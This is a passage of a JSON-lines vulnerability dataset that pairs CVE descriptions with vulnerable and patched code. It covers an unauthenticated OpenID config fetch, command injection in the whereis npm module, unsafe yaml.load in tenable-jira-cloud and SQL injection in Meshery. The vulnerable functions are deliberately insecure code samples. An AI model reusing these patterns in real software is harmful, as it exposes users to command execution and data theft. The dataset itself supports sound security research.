URL(`${protocol}://${req.get('host')}/auth/openid/mobile-redirect`).toString()\n            mobile_redirect_uri = req.query.redirect_uri\n          } else {\n            Logger.debug(`[Auth] Invalid redirect_uri=${req.query.redirect_uri} - not in whitelist`)\n            return res.status(400).send('Invalid redirect_uri')\n          }\n        } else {\n          oidcStrategy._params.redirect_uri = new URL(`${protocol}://${req.get('host')}/auth/openid/callback`).toString()\n        }\n\n        Logger.debug(`[Auth] Oidc redirect_uri=${oidcStrategy._params.redirect_uri}`)\n        const client = oidcStrategy._client\n        const sessionKey = oidcStrategy._key\n\n        let code_challenge\n        let code_challenge_method\n\n        // If code_challenge is provided, expect that code_verifier will be handled by the client (mobile app)\n        // The web frontend of ABS does not need to do a PKCE itself, because it never handles the \"code\" of the oauth flow\n        //    and as such will not send a code challenge, we will generate then one\n        if (req.query.code_challenge) {\n          code_challenge = req.query.code_challenge\n          code_challenge_method = req.query.code_challenge_method || 'S256'\n\n          if (!['S256', 'plain'].includes(code_challenge_method)) {\n            return res.status(400).send('Invalid code_challenge_method')\n          }\n        } else {\n          // If no code_challenge is provided, assume a web application flow and generate one\n          const code_verifier = OpenIDClient.generators.codeVerifier()\n          code_challenge = OpenIDClient.generators.codeChallenge(code_verifier)\n          code_challenge_method = 'S256'\n\n          // Store the code_verifier in the session for later use in the token exchange\n          req.session[sessionKey] = { ...req.session[sessionKey], code_verifier }\n        }\n\n        const params = {\n          state: OpenIDClient.generators.random(),\n          // Other params by the passport strategy\n          ...oidcStrategy._params\n        }\n\n        if (!params.nonce && params.response_type.includes('id_token')) {\n          params.nonce = OpenIDClient.generators.random()\n        }\n\n        req.session[sessionKey] = {\n          ...req.session[sessionKey],\n          ...pick(params, 'nonce', 'state', 'max_age', 'response_type'),\n          mobile: req.query.redirect_uri, // Used in the abs callback later, set mobile if redirect_uri is filled out\n          sso_redirect_uri: oidcStrategy._params.redirect_uri // Save the redirect_uri (for the SSO Provider) for the callback\n        }\n\n        // We cannot save redirect_uri in the session, because it the mobile client uses browser instead of the API\n        //   for the request to mobile-redirect and as such the session is not shared\n        this.openIdAuthSession.set(params.state, { mobile_redirect_uri: mobile_redirect_uri })\n\n        // Now get the URL to direct to\n        const authorizationUrl = client.authorizationUrl({\n          ...params,\n          scope: 'openid profile email',\n          response_type: 'code',\n          code_challenge,\n          code_challenge_method\n        })\n\n        // params (isRest, callback) to a cookie that will be send to the client\n        this.paramsToCookies(req, res)\n\n        // Redirect the user agent (browser) to the authorization URL\n        res.redirect(authorizationUrl)\n      } catch (error) {\n        Logger.error(`[Auth] Error in /auth/openid route: ${error}`)\n        res.status(500).send('Internal Server Error')\n      }\n    })"}, {"id": "fix_js_241_2", "commit": "728496010cbfcee5b7b54001c9f79e02ede30d82", "file_path": "server/Auth.js", "start_line": 477, "end_line": 516, "snippet": "    router.get('/auth/openid/config', this.isAuthenticated, async (req, res) => {\n      if (!req.user.isAdminOrUp) {\n        Logger.error(`[Auth] Non-admin user \"${req.user.username}\" attempted to get issuer config`)\n        return res.sendStatus(403)\n      }\n\n      if (!req.query.issuer) {\n        return res.status(400).send('Invalid request. Query param \\'issuer\\' is required')\n      }\n\n      // Strip trailing slash\n      let issuerUrl = req.query.issuer\n      if (issuerUrl.endsWith('/')) issuerUrl = issuerUrl.slice(0, -1)\n\n      // Append config pathname and validate URL\n      let configUrl = null\n      try {\n        configUrl = new URL(`${issuerUrl}/.well-known/openid-configuration`)\n        if (!configUrl.pathname.endsWith('/.well-known/openid-configuration')) {\n          throw new Error('Invalid pathname')\n        }\n      } catch (error) {\n        Logger.error(`[Auth] Failed to get openid configuration. Invalid URL \"${configUrl}\"`, error)\n        return res.status(400).send('Invalid request. Query param \\'issuer\\' is invalid')\n      }\n\n      axios.get(configUrl.toString()).then(({ data }) => {\n        res.json({\n          issuer: data.issuer,\n          authorization_endpoint: data.authorization_endpoint,\n          token_endpoint: data.token_endpoint,\n          userinfo_endpoint: data.userinfo_endpoint,\n          end_session_endpoint: data.end_session_endpoint,\n          jwks_uri: data.jwks_uri\n        })\n      }).catch((error) => {\n        Logger.error(`[Auth] Failed to get openid configuration at \"${configUrl}\"`, error)\n        res.status(error.statusCode || 400).send(`${error.code || 'UNKNOWN'}: Failed to get openid configuration`)\n      })\n    })"}], "vul_patch": "--- a/server/Auth.js\n+++ b/server/Auth.js\n@@ -25,7 +25,7 @@\n         if (req.query.redirect_uri) {\n           // Check if the redirect_uri is in the whitelist\n           if (Database.serverSettings.authOpenIDMobileRedirectURIs.includes(req.query.redirect_uri) ||\n-           (Database.serverSettings.authOpenIDMobileRedirectURIs.length === 1 && Database.serverSettings.authOpenIDMobileRedirectURIs[0] === '*')) {\n+            (Database.serverSettings.authOpenIDMobileRedirectURIs.length === 1 && Database.serverSettings.authOpenIDMobileRedirectURIs[0] === '*')) {\n             oidcStrategy._params.redirect_uri = new URL(`${protocol}://${req.get('host')}/auth/openid/mobile-redirect`).toString()\n             mobile_redirect_uri = req.query.redirect_uri\n           } else {\n\n--- a/server/Auth.js\n+++ b/server/Auth.js\n@@ -1,12 +1,30 @@\n-    router.get('/auth/openid/config', async (req, res) => {\n+    router.get('/auth/openid/config', this.isAuthenticated, async (req, res) => {\n+      if (!req.user.isAdminOrUp) {\n+        Logger.error(`[Auth] Non-admin user \"${req.user.username}\" attempted to get issuer config`)\n+        return res.sendStatus(403)\n+      }\n+\n       if (!req.query.issuer) {\n         return res.status(400).send('Invalid request. Query param \\'issuer\\' is required')\n       }\n+\n+      // Strip trailing slash\n       let issuerUrl = req.query.issuer\n       if (issuerUrl.endsWith('/')) issuerUrl = issuerUrl.slice(0, -1)\n \n-      const configUrl = `${issuerUrl}/.well-known/openid-configuration`\n-      axios.get(configUrl).then(({ data }) => {\n+      // Append config pathname and validate URL\n+      let configUrl = null\n+      try {\n+        configUrl = new URL(`${issuerUrl}/.well-known/openid-configuration`)\n+        if (!configUrl.pathname.endsWith('/.well-known/openid-configuration')) {\n+          throw new Error('Invalid pathname')\n+        }\n+      } catch (error) {\n+        Logger.error(`[Auth] Failed to get openid configuration. Invalid URL \"${configUrl}\"`, error)\n+        return res.status(400).send('Invalid request. Query param \\'issuer\\' is invalid')\n+      }\n+\n+      axios.get(configUrl.toString()).then(({ data }) => {\n         res.json({\n           issuer: data.issuer,\n           authorization_endpoint: data.authorization_endpoint,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-3772", "cve_description": "Concatenating unsanitized user input in the `whereis` npm module < 0.4.1 allowed an attacker to execute arbitrary commands. The `whereis` module is deprecated and it is recommended to use the `which` npm module instead.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/vvo/node-whereis", "patch_url": ["https://github.com/vvo/node-whereis/commit/0f64e3780235004fb6e43bfd153ea3e0e210ee2b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_17_1", "commit": "b8b642b", "file_path": "index.js", "start_line": 3, "end_line": 31, "snippet": "module.exports = function whereis(name, cb) {\n  cp.exec('which ' + name, function(error, stdout, stderr) {\n    stdout = stdout.split('\\n')[0];\n    if (error || stderr || stdout === '' || stdout.charAt(0) !== '/') {\n      stdout = stdout.split('\\n')[0];\n      cp.exec('whereis ' + name, function(error, stdout, stderr) {\n        if (error || stderr || stdout === '' || stdout.indexOf( '/' ) === -1) {\n          cp.exec('where ' + name, function (error, stdout, stderr) { //windows\n            if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n              cp.exec('for %i in (' + name + '.exe) do @echo. %~$PATH:i', function (error, stdout, stderr) { //windows xp\n                if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n                  return cb(new Error('Could not find ' + name + ' on your system'));\n                }\n                return cb(null, stdout);\n              });\n            } else {\n              return cb(null, stdout);\n            }\n          });\n        }\n        else {\n          return cb(null, stdout.split(' ')[1]);\n        }\n      });\n    } else {\n      return cb(null, stdout);\n    }\n  });\n};"}], "fix_func": [{"id": "fix_js_17_1", "commit": "0f64e37", "file_path": "index.js", "start_line": 3, "end_line": 31, "snippet": "module.exports = function whereis(name, cb) {\n  cp.execFile('which', [name], function(error, stdout, stderr) {\n    stdout = stdout.split('\\n')[0];\n    if (error || stderr || stdout === '' || stdout.charAt(0) !== '/') {\n      stdout = stdout.split('\\n')[0];\n      cp.execFile('whereis', [name], function(error, stdout, stderr) {\n        if (error || stderr || stdout === '' || stdout.indexOf( '/' ) === -1) {\n          cp.execFile('where', [name], function (error, stdout, stderr) { //windows\n            if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n              cp.exec('for %i in (' + name + '.exe) do @echo. %~$PATH:i', function (error, stdout, stderr) { //windows xp\n                if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n                  return cb(new Error('Could not find ' + name + ' on your system'));\n                }\n                return cb(null, stdout);\n              });\n            } else {\n              return cb(null, stdout);\n            }\n          });\n        }\n        else {\n          return cb(null, stdout.split(' ')[1]);\n        }\n      });\n    } else {\n      return cb(null, stdout);\n    }\n  });\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,11 +1,11 @@\n module.exports = function whereis(name, cb) {\n-  cp.exec('which ' + name, function(error, stdout, stderr) {\n+  cp.execFile('which', [name], function(error, stdout, stderr) {\n     stdout = stdout.split('\\n')[0];\n     if (error || stderr || stdout === '' || stdout.charAt(0) !== '/') {\n       stdout = stdout.split('\\n')[0];\n-      cp.exec('whereis ' + name, function(error, stdout, stderr) {\n+      cp.execFile('whereis', [name], function(error, stdout, stderr) {\n         if (error || stderr || stdout === '' || stdout.indexOf( '/' ) === -1) {\n-          cp.exec('where ' + name, function (error, stdout, stderr) { //windows\n+          cp.execFile('where', [name], function (error, stdout, stderr) { //windows\n             if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n               cp.exec('for %i in (' + name + '.exe) do @echo. %~$PATH:i', function (error, stdout, stderr) { //windows xp\n                 if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-3772:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-whereis\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2021-21371", "cve_description": "Tenable for Jira Cloud is an open source project designed to pull Tenable.io vulnerability data, then generate Jira Tasks and sub-tasks based on the vulnerabilities' current state. It published in pypi as \"tenable-jira-cloud\". In tenable-jira-cloud before version 1.1.21, it is possible to run arbitrary commands through the yaml.load() method. This could allow an attacker with local access to the host to run arbitrary code by running the application with a specially crafted YAML configuration file. This is fixed in version 1.1.21 by using yaml.safe_load() instead of yaml.load().", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/tenable/integration-jira-cloud", "patch_url": ["https://github.com/tenable/integration-jira-cloud/commit/f8c2095fd529e664e7fa25403a0a4a85bb3907d0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_77_1", "commit": "fa838db", "file_path": "tenable_jira/cli.py", "start_line": "59", "end_line": "231", "snippet": "def cli(configfile, observed_since, setup_only=False, troubleshoot=False):\n    '''\n    Tenable.io -> Jira Cloud Transformer & Ingester\n    '''\n    # Load the config, but ensure that any additional fields are additive to the\n    # basic field set.\n    config_from_file = yaml.load(configfile, Loader=yaml.Loader)\n    fields = config_from_file.pop('custom_fields', list())\n    config = dict_merge(base_config(), config_from_file)\n    config['fields'] = config['fields'] + fields\n\n    if config['tenable'].get('tio_transform_tags'):\n        attr_cache = config['tenable'].get('tio_asset_attr_cache', list())\n        tag_attrs = config['tenable'].get('tio_transform_tags', list())\n        config['tenable']['tio_asset_attr_cache'] = attr_cache + tag_attrs\n\n\n    # Get the logging definition and define any defaults as need be.\n    log = config.get('log', {})\n    log_lvls = {'debug': 10, 'info': 20, 'warn': 30, 'error': 40}\n    log['level'] = log_lvls[log.get('level', 'warn')]\n    log['format'] = log.get('format',\n        '%(asctime)-15s %(name)s %(levelname)s %(message)s')\n\n    # Configure the root logging facility\n    if troubleshoot:\n        logging.basicConfig(\n            level=logging.DEBUG,\n            format=log['format'],\n            filename='tenable_debug.log'\n        )\n    else:\n        logging.basicConfig(**log)\n\n    # Output some basic information detailing the config file used and the\n    # python version & system arch.\n    logging.info('Tenable2JiraCloud Version {}'.format(__version__))\n    logging.info('Using configuration file {}'.format(configfile.name))\n    uname = platform.uname()\n    logging.info('Running on Python {} {}/{}'.format(\n        '.'.join([str(i) for i in sys.version_info][0:3]),\n        uname[0], uname[-2]))\n\n    # instantiate the Jira object\n    jira = Jira(\n        'https://{}/rest/api/3'.format(config['jira']['address']),\n        config['jira']['api_username'],\n        config['jira']['api_token']\n    )\n\n    # Initiate the Tenable.io API model, the Ingester model, and start the\n    # ingestion and data transformation.\n    if config['tenable'].get('platform') == 'tenable.io':\n        if not observed_since:\n            # if no since field is supplied, then look in the config file to see\n            # if an age was applied, if not, then use the default of 30 days.\n            observed_since = arrow.now()\\\n                .shift(days=-config['tenable'].get('tio_age', 30))\\\n                .floor('day').timestamp()\n\n        source = TenableIO(\n            access_key=config['tenable'].get('access_key'),\n            secret_key=config['tenable'].get('secret_key'),\n            vendor='Tenable',\n            product='JiraCloud',\n            build=__version__\n        )\n        if int(source.session.details().get('permissions')) < 64:\n            logging.error('API Keys tie to non-admin user.')\n    elif config['tenable'].get('platform') == 'tenable.sc':\n        source = TenableSC(\n            config['tenable'].get('address'),\n            port=int(config['tenable'].get('port', 443)),\n            username=config['tenable'].get('username'),\n            password=config['tenable'].get('password'),\n            access_key=config['tenable'].get('access_key'),\n            secret_key=config['tenable'].get('secret_key'),\n            vendor='Tenable',\n            product='JiraCloud',\n            build=__version__\n        )\n    else:\n        logging.error('No valid Tenable platform configuration defined.')\n        exit(1)\n    ingest = Tio2Jira(source, jira, config)\n\n    if troubleshoot:\n        # if the troubleshooting flag is set, then we will be collecting some\n        # basic information and outputting it to the screen in a format that\n        # Github issues would expect to format it all pretty.  This should help\n        # reduce the amount of time that is spent with back-and-forth debugging.\n        try:\n            ingest.ingest(int(observed_since))\n        except:\n            logging.exception('Caught the following Exception')\n\n        # Some basic redaction of sensitive data, such as API Keys, Usernames,\n        # Passwords, and hostnames.\n        addr = config_from_file['jira']['address']\n        sc_addr = 'NOTHING_TO_SEE_HERE_AT_ALL'\n        config_from_file['jira']['address'] = '<REDACTED>'\n        config_from_file['jira']['api_token'] = '<REDACTED>'\n        config_from_file['jira']['api_username'] = '<REDACTED>'\n        config_from_file['project']['leadAccountId'] = '<REDACTED>'\n        if config_from_file['tenable'].get('address'):\n            sc_addr = config_from_file['tenable']['address']\n            config_from_file['tenable']['address'] = '<REDACTED>'\n        if config_from_file['tenable'].get('access_key'):\n            config_from_file['tenable']['access_key'] = '<REDACTED>'\n        if config_from_file['tenable'].get('secret_key'):\n            config_from_file['tenable']['secret_key'] = '<REDACTED>'\n        if config_from_file['tenable'].get('username'):\n            config_from_file['tenable']['username'] = '<REDACTED>'\n        if config_from_file['tenable'].get('password'):\n            config_from_file['tenable']['password'] = '<REDACTED>'\n\n        output = troubleshooting.format(\n            configfile=yaml.dump(config_from_file, default_flow_style=False),\n            logging=open('tenable_debug.log').read() \\\n                .replace(addr, '<JIRA_CLOUD_HOST>') \\\n                .replace(sc_addr, '<TENABLE_SC_HOST>'),\n            issuetypes='\\n'.join(\n                [\n                    '{id}: {name}'.format(**a)\n                    for a in jira.issue_types.list()\n                    if a.get('name').lower() in ['task', 'subtask', 'sub-task']\n                ]\n            )\n        )\n        print(output)\n        print('\\n'.join([\n            '/-------------------------------NOTICE-----------------------------------\\\\',\n            '| The output above is helpful for us to troubleshoot exactly what is     |',\n            '| happening within the code and offer a diagnosis for how to correct.    |',\n            '| Please note that while some basic redaction has already been performed |',\n            '| that we ask you to review the information you\\'re about to send and     |',\n            '| ensure that nothing deemed sensitive is transmitted.                   |',\n            '| ---------------------------------------------------------------------- |',\n            '| -- Copy of output saved to \"issue_debug.md\"                            |',\n            '\\\\------------------------------------------------------------------------/'\n        ]))\n        with open('issue_debug.md', 'w') as reportfile:\n            print(output, file=reportfile)\n        os.remove('tenable_debug.log')\n    elif not setup_only:\n        ingest.ingest(observed_since)\n\n        # If we are expected to continually re-run the transformer, then we will\n        # need to track the passage of time and run every X hours, where X is\n        # defined by the user in the configuration.\n        if config.get('service', {}).get('interval', 0) > 0:\n            sleeper = int(config['service']['interval']) * 3600\n            while True:\n                last_run = int(time.time())\n                logging.info(\n                    'Sleeping for {}h'.format(sleeper/3600))\n                time.sleep(sleeper)\n                logging.info(\n                    'Initiating ingest with observed_since={}'.format(last_run))\n                ingest.ingest(last_run)\n    elif setup_only:\n        # In setup-only mode, the ingest will not run, and instead a config file\n        # will be generated that will have all of the JIRA identifiers baked in\n        # and will also inform the integration to ignore the screen builder.\n        # When using this config, if there are any changes to the code, then\n        # this config will need to be re-generated.\n        config['screen']['no_create'] = True\n        logging.info('Set to setup-only.  Will not run ingest.')\n        logging.info('The following is the updated config file from the setup.')\n        with open('generated_config.yaml', 'w') as outfile:\n            outfile.write(yaml.dump(config, Dumper=yaml.Dumper))\n        logging.info('Generated \"generated_config.yaml\" config file.')\n        logging.info('This config file should be updated for every new version of this integration.')"}], "fix_func": [{"id": "fix_py_77_1", "commit": "f8c2095", "file_path": "tenable_jira/cli.py", "start_line": "59", "end_line": "231", "snippet": "def cli(configfile, observed_since, setup_only=False, troubleshoot=False):\n    '''\n    Tenable.io -> Jira Cloud Transformer & Ingester\n    '''\n    # Load the config, but ensure that any additional fields are additive to the\n    # basic field set.\n    config_from_file = yaml.safe_load(configfile)\n    fields = config_from_file.pop('custom_fields', list())\n    config = dict_merge(base_config(), config_from_file)\n    config['fields'] = config['fields'] + fields\n\n    if config['tenable'].get('tio_transform_tags'):\n        attr_cache = config['tenable'].get('tio_asset_attr_cache', list())\n        tag_attrs = config['tenable'].get('tio_transform_tags', list())\n        config['tenable']['tio_asset_attr_cache'] = attr_cache + tag_attrs\n\n\n    # Get the logging definition and define any defaults as need be.\n    log = config.get('log', {})\n    log_lvls = {'debug': 10, 'info': 20, 'warn': 30, 'error': 40}\n    log['level'] = log_lvls[log.get('level', 'warn')]\n    log['format'] = log.get('format',\n        '%(asctime)-15s %(name)s %(levelname)s %(message)s')\n\n    # Configure the root logging facility\n    if troubleshoot:\n        logging.basicConfig(\n            level=logging.DEBUG,\n            format=log['format'],\n            filename='tenable_debug.log'\n        )\n    else:\n        logging.basicConfig(**log)\n\n    # Output some basic information detailing the config file used and the\n    # python version & system arch.\n    logging.info('Tenable2JiraCloud Version {}'.format(__version__))\n    logging.info('Using configuration file {}'.format(configfile.name))\n    uname = platform.uname()\n    logging.info('Running on Python {} {}/{}'.format(\n        '.'.join([str(i) for i in sys.version_info][0:3]),\n        uname[0], uname[-2]))\n\n    # instantiate the Jira object\n    jira = Jira(\n        'https://{}/rest/api/3'.format(config['jira']['address']),\n        config['jira']['api_username'],\n        config['jira']['api_token']\n    )\n\n    # Initiate the Tenable.io API model, the Ingester model, and start the\n    # ingestion and data transformation.\n    if config['tenable'].get('platform') == 'tenable.io':\n        if not observed_since:\n            # if no since field is supplied, then look in the config file to see\n            # if an age was applied, if not, then use the default of 30 days.\n            observed_since = arrow.now()\\\n                .shift(days=-config['tenable'].get('tio_age', 30))\\\n                .floor('day').timestamp()\n\n        source = TenableIO(\n            access_key=config['tenable'].get('access_key'),\n            secret_key=config['tenable'].get('secret_key'),\n            vendor='Tenable',\n            product='JiraCloud',\n            build=__version__\n        )\n        if int(source.session.details().get('permissions')) < 64:\n            logging.error('API Keys tie to non-admin user.')\n    elif config['tenable'].get('platform') == 'tenable.sc':\n        source = TenableSC(\n            config['tenable'].get('address'),\n            port=int(config['tenable'].get('port', 443)),\n            username=config['tenable'].get('username'),\n            password=config['tenable'].get('password'),\n            access_key=config['tenable'].get('access_key'),\n            secret_key=config['tenable'].get('secret_key'),\n            vendor='Tenable',\n            product='JiraCloud',\n            build=__version__\n        )\n    else:\n        logging.error('No valid Tenable platform configuration defined.')\n        exit(1)\n    ingest = Tio2Jira(source, jira, config)\n\n    if troubleshoot:\n        # if the troubleshooting flag is set, then we will be collecting some\n        # basic information and outputting it to the screen in a format that\n        # Github issues would expect to format it all pretty.  This should help\n        # reduce the amount of time that is spent with back-and-forth debugging.\n        try:\n            ingest.ingest(int(observed_since))\n        except:\n            logging.exception('Caught the following Exception')\n\n        # Some basic redaction of sensitive data, such as API Keys, Usernames,\n        # Passwords, and hostnames.\n        addr = config_from_file['jira']['address']\n        sc_addr = 'NOTHING_TO_SEE_HERE_AT_ALL'\n        config_from_file['jira']['address'] = '<REDACTED>'\n        config_from_file['jira']['api_token'] = '<REDACTED>'\n        config_from_file['jira']['api_username'] = '<REDACTED>'\n        config_from_file['project']['leadAccountId'] = '<REDACTED>'\n        if config_from_file['tenable'].get('address'):\n            sc_addr = config_from_file['tenable']['address']\n            config_from_file['tenable']['address'] = '<REDACTED>'\n        if config_from_file['tenable'].get('access_key'):\n            config_from_file['tenable']['access_key'] = '<REDACTED>'\n        if config_from_file['tenable'].get('secret_key'):\n            config_from_file['tenable']['secret_key'] = '<REDACTED>'\n        if config_from_file['tenable'].get('username'):\n            config_from_file['tenable']['username'] = '<REDACTED>'\n        if config_from_file['tenable'].get('password'):\n            config_from_file['tenable']['password'] = '<REDACTED>'\n\n        output = troubleshooting.format(\n            configfile=yaml.dump(config_from_file, default_flow_style=False),\n            logging=open('tenable_debug.log').read() \\\n                .replace(addr, '<JIRA_CLOUD_HOST>') \\\n                .replace(sc_addr, '<TENABLE_SC_HOST>'),\n            issuetypes='\\n'.join(\n                [\n                    '{id}: {name}'.format(**a)\n                    for a in jira.issue_types.list()\n                    if a.get('name').lower() in ['task', 'subtask', 'sub-task']\n                ]\n            )\n        )\n        print(output)\n        print('\\n'.join([\n            '/-------------------------------NOTICE-----------------------------------\\\\',\n            '| The output above is helpful for us to troubleshoot exactly what is     |',\n            '| happening within the code and offer a diagnosis for how to correct.    |',\n            '| Please note that while some basic redaction has already been performed |',\n            '| that we ask you to review the information you\\'re about to send and     |',\n            '| ensure that nothing deemed sensitive is transmitted.                   |',\n            '| ---------------------------------------------------------------------- |',\n            '| -- Copy of output saved to \"issue_debug.md\"                            |',\n            '\\\\------------------------------------------------------------------------/'\n        ]))\n        with open('issue_debug.md', 'w') as reportfile:\n            print(output, file=reportfile)\n        os.remove('tenable_debug.log')\n    elif not setup_only:\n        ingest.ingest(observed_since)\n\n        # If we are expected to continually re-run the transformer, then we will\n        # need to track the passage of time and run every X hours, where X is\n        # defined by the user in the configuration.\n        if config.get('service', {}).get('interval', 0) > 0:\n            sleeper = int(config['service']['interval']) * 3600\n            while True:\n                last_run = int(time.time())\n                logging.info(\n                    'Sleeping for {}h'.format(sleeper/3600))\n                time.sleep(sleeper)\n                logging.info(\n                    'Initiating ingest with observed_since={}'.format(last_run))\n                ingest.ingest(last_run)\n    elif setup_only:\n        # In setup-only mode, the ingest will not run, and instead a config file\n        # will be generated that will have all of the JIRA identifiers baked in\n        # and will also inform the integration to ignore the screen builder.\n        # When using this config, if there are any changes to the code, then\n        # this config will need to be re-generated.\n        config['screen']['no_create'] = True\n        logging.info('Set to setup-only.  Will not run ingest.')\n        logging.info('The following is the updated config file from the setup.')\n        with open('generated_config.yaml', 'w') as outfile:\n            outfile.write(yaml.dump(config, Dumper=yaml.Dumper))\n        logging.info('Generated \"generated_config.yaml\" config file.')\n        logging.info('This config file should be updated for every new version of this integration.')"}], "vul_patch": "--- a/tenable_jira/cli.py\n+++ b/tenable_jira/cli.py\n@@ -4,7 +4,7 @@\n     '''\n     # Load the config, but ensure that any additional fields are additive to the\n     # basic field set.\n-    config_from_file = yaml.load(configfile, Loader=yaml.Loader)\n+    config_from_file = yaml.safe_load(configfile)\n     fields = config_from_file.pop('custom_fields', list())\n     config = dict_merge(base_config(), config_from_file)\n     config['fields'] = config['fields'] + fields\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-35181", "cve_description": "Meshery is an open source, cloud native manager that enables the design and management of Kubernetes-based infrastructure and applications. A SQL injection vulnerability in Meshery prior to version 0.7.22 may lead to arbitrary file write by using a SQL injection stacked queries payload, and the ATTACH DATABASE command. Additionally, attackers may be able to access and modify any data stored in the database, like performance profiles (which may contain session cookies), Meshery application data, or any Kubernetes configuration added to the system. The Meshery project exposes the function `GetMeshSyncResourcesKinds` at the API URL `/api/system/meshsync/resources/kinds`. The order query parameter is directly used to build a SQL query in `meshync_handler.go`. Version 0.7.22 fixes this issue.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/meshery/meshery", "patch_url": ["https://github.com/meshery/meshery/commit/b55f6064d0c6a965aee38f30281f99da7dc4420c", "https://github.com/meshery/meshery/commit/8e995ce21af02d32ef61689c1e1748a745917f13"], "programing_language": "Go", "vul_func": [{"id": "vul_go_278_1", "commit": "c54bc36cbffd82732528ee4eb911616535ebe3ed", "file_path": "mesheryctl/pkg/utils/helpers.go", "start_line": 544, "end_line": 551, "snippet": "func ClearLine() {\n\tclearCmd := exec.Command(\"clear\") // for UNIX-like systems\n\tif runtime.GOOS == \"windows\" {\n\t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n\t}\n\tclearCmd.Stdout = os.Stdout\n\t_ = clearCmd.Run()\n}"}, {"id": "vul_go_278_2", "commit": "c54bc36cbffd82732528ee4eb911616535ebe3ed", "file_path": "server/handlers/meshsync_handler.go", "start_line": 187, "end_line": 254, "snippet": "func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tpage, offset, limit,\n\t\tsearch, order, sort, _ := getPaginationParams(r)\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tvar kinds []string\n\tvar totalCount int64\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct(\"kind\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif search != \"\" {\n\t\tresult = result.Where(\"kubernetes_resources.kind LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Pluck(\"kinds\", &kinds).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse := &models.MeshSyncResourcesKindsAPIResponse{\n\t\tKinds:      kinds,\n\t\tTotalCount: totalCount,\n\t\tPage:       page,\n\t\tPageSize:   limit,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}"}, {"id": "vul_go_278_3", "commit": "c54bc36cbffd82732528ee4eb911616535ebe3ed", "file_path": "server/models/events_persister.go", "start_line": 47, "end_line": 105, "snippet": "func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {\n\teventsDB := []*events.Event{}\n\tfinder := e.DB.Model(&events.Event{}).Where(\"user_id = ?\", userID)\n\n\tif len(eventsFilter.Category) != 0 {\n\t\tfinder = finder.Where(\"category IN ?\", eventsFilter.Category)\n\t}\n\n\tif len(eventsFilter.Action) != 0 {\n\t\tfinder = finder.Where(\"action IN ?\", eventsFilter.Action)\n\t}\n\n\tif len(eventsFilter.Severity) != 0 {\n\t\tfinder = 